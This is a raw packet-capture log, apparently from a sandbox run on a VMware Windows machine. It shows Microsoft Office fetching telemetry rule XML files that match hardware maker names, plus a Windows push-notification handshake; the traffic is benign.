2024-10-31 08:07:14 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 46 66 5d 5b 55 75 5d 5b 4a 6a 5d 5b 49 69 5d 5b 54 74 5d 5b 53 73 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120625" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <SR T="2" R="([Ff][Uu][Jj][Ii][Tt][Ss][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
27	192.168.2.6	49743	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 08:07:14 UTC	192	OUT	GET /rules/rule120626v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 08:07:14 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 08:07:14 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DACDF62" x-ms-request-id: 5fd3a61a-e01e-0071-0feb-2a08e7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T080714Z-16849878b78qg9mlz11wgn0wcc00000008r000000000gpbf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 08:07:14 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120626" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
28	192.168.2.6	49745	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 08:07:14 UTC	192	OUT	GET /rules/rule120628v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 08:07:14 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 08:07:14 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C8E04C8" x-ms-request-id: 23aa8b33-901e-00ac-7615-2bb69e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T080714Z-15b8d89586fnfb49yv03rfgz1c00000000tg00000000b6td x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-31 08:07:14 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120628" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
29	192.168.2.6	49744	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 08:07:14 UTC	192	OUT	GET /rules/rule120627v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 08:07:14 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 08:07:14 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:54 GMT ETag: "0x8DC582B9E8EE0F3" x-ms-request-id: 1abafd92-601e-0070-072b-27a0c9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T080714Z-16849878b782d4lwcu6h6gmxnw00000008w000000000bhy7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-31 08:07:14 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4e 6e 5d 5b 45 65 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120627" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <SR T="2" R="^([Nn][Ee][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
30	192.168.2.6	49746	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 08:07:14 UTC	192	OUT	GET /rules/rule120629v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 08:07:14 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 08:07:14 GMT Content-Type: text/xml Content-Length: 428 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC4F34CA" x-ms-request-id: c990e8a6-c01e-0034-078c-2a2af6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T080714Z-159b85dff8f9g9g4hC1DFW9n70000000018g000000004y18 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 08:07:14 UTC	428	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 2d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120629" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo]-[Ss][Tt][Aa][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
31	192.168.2.6	49742	40.115.3.253	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 08:07:14 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 49 46 35 4d 70 38 68 57 73 30 61 52 42 63 6f 65 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 62 30 61 37 33 65 35 31 32 61 31 35 61 32 36 33 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: IF5Mp8hWs0aRBcoe.1Context: b0a73e512a15a263
2024-10-31 08:07:14 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-10-31 08:07:14 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 49 46 35 4d 70 38 68 57 73 30 61 52 42 63 6f 65 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 62 30 61 37 33 65 35 31 32 61 31 35 61 32 36 33 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 66 48 31 32 41 41 55 38 4f 4d 55 6a 6a 4f 42 6a 4f 49 49 74 52 31 64 6a 77 45 54 44 78 51 68 70 30 43 30 4b 6c 4d 62 77 78 6e 76 39 75 2b 79 6e 43 56 6f 59 70 57 74 76 33 42 78 4a 4b 4d 5a 72 37 56 42 2f 70 31 54 54 49 67 5a 64 34 49 78 4a 77 42 63 51 50 76 6c 67 48 39 6d 4c 69 6f 6f 58 43 37 54 6c 72 54 5a 47 44 57 6b 42 67 Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: IF5Mp8hWs0aRBcoe.2Context: b0a73e512a15a263<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAfH12AAU8OMUjjOBjOIItR1djwETDxQhp0C0KlMbwxnv9u+ynCVoYpWtv3BxJKMZr7VB/p1TTIgZd4IxJwBcQPvlgH9mLiooXC7TlrTZGDWkBg
2024-10-31 08:07:14 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 49 46 35 4d 70 38 68 57 73 30 61 52 42 63 6f 65 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 62 30 61 37 33 65 35 31 32 61 31 35 61 32 36 33 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: IF5Mp8hWs0aRBcoe.3Context: b0a73e512a15a263<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-10-31 08:07:15 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-10-31 08:07:15 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 58 69 75 50 36 75 32 69 65 55 71 4d 6d 78 4f 6f 41 52 4e 4d 6d 51 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: XiuP6u2ieUqMmxOoARNMmQ.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port
32	192.168.2.6	49751	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 08:07:15 UTC	192	OUT	GET /rules/rule120630v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 08:07:15 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 08:07:15 GMT Content-Type: text/xml Content-Length: 499 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:45 GMT ETag: "0x8DC582B98CEC9F6" x-ms-request-id: 283bb1f9-001e-0066-5cf3-2a561e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T080715Z-16849878b78km6fmmkbenhx76n00000008h000000000ckh8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-31 08:07:15 UTC	499	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120630" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
33	192.168.2.6	49752	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 08:07:15 UTC	192	OUT	GET /rules/rule120631v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 08:07:15 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 08:07:15 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B988EBD12" x-ms-request-id: 4e15243a-401e-005b-2294-2a9c0c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T080715Z-17c5cb586f6p5pndayxh2uxv5400000000zg000000001eqb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 08:07:15 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 48 68 5d 5b 55 75 5d 5b 41 61 5d 5b 57 77 5d 5b 45 65 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120631" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <SR T="2" R="([Hh][Uu][Aa][Ww][Ee][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
34	192.168.2.6	49753	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 08:07:15 UTC	192	OUT	GET /rules/rule120632v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 08:07:15 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 08:07:15 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5815C4C" x-ms-request-id: 46a88b53-101e-0017-7e74-2747c7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T080715Z-16849878b785dznd7xpawq9gcn0000000ah000000000et9h x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-31 08:07:15 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120632" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
35	192.168.2.6	49755	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 08:07:15 UTC	192	OUT	GET /rules/rule120634v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 08:07:15 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 08:07:15 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8972972" x-ms-request-id: 3a46b3a2-501e-008f-78cb-279054000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T080715Z-15b8d89586f4zwgbgswvrvz4vs0000000aq00000000066qg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-31 08:07:15 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120634" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
36	192.168.2.6	49754	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 08:07:15 UTC	192	OUT	GET /rules/rule120633v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 08:07:15 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 08:07:15 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB32BB5CB" x-ms-request-id: 2760be74-301e-0096-200b-26e71d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T080715Z-16849878b78fkwcjkpn19c5dsn000000084g00000000gyhw x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 08:07:15 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 53 73 5d 5b 41 61 5d 5b 4d 6d 5d 5b 53 73 5d 5b 55 75 5d 5b 4e 6e 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120633" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <SR T="2" 